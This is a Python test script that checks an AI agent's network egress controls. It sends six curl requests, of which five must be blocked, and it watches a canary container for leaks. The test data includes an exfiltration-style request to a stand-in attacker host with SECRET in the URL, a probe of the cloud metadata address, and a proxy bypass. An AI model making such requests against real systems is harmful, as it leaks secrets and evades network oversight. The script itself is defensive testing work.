#!/usr/bin/env python3 """usage: test_egress.py off|envonly|on Six requests from the agent's runtime. Five must NOT get through; one (the allowlisted docs host) must. Fails if any blocked destination is reached or if the allowed destination stops working.""" import subprocess, sys, pathlib HERE = pathlib.Path(__file__).parent mode = sys.argv[1] def curl(args): cmd = f'curl -s -m6 -o /tmp/body -w "%{{http_code}}" {args}; echo " $(head -c 40 /tmp/body | tr -d "\\n")"' p = subprocess.run([str(HERE / "agent-run.sh"), mode, cmd], capture_output=True, text=True) out = p.stdout.strip().splitlines()[-1] if p.stdout.strip() else "000" return out.split()[0], out def canary_hits(): p = subprocess.run(["docker", "logs", "canary"], capture_output=True, text=True) return (p.stdout + p.stderr).count("url:") CHECKS = [ # (name, curl args, must_be_reachable) ("allowlisted host (example.com)", "https://example.com", True), ("host not on list (example.org)", "https://example.org", False), ("cloud metadata address", "http://169.254.169.254/", False), ("allowlisted name that resolves to a private IP", "http://internal.example.test/", False), ("attacker canary with data in the URL", '"http://canary.example.test/?d=SECRET"', False), ("direct connection that ignores the proxy", "--noproxy '*' https://example.org", False), ] before = canary_hits(); bad = 0 for name, args, must in CHECKS: code, _ = curl(args) reached = code not in ("000", "403", "407", "502", "503") ok = reached == must bad += not ok print(f"{'ok ' if ok else 'FAIL'} {name:<48} http={code} {'reached' if reached else 'not reached'}") hits = canary_hits() - before print(f"canary requests received: {hits}") bad += hits > 0 print(f"mode={mode}: {'FAIL' if bad else 'PASS'}") sys.exit(1 if bad else 0)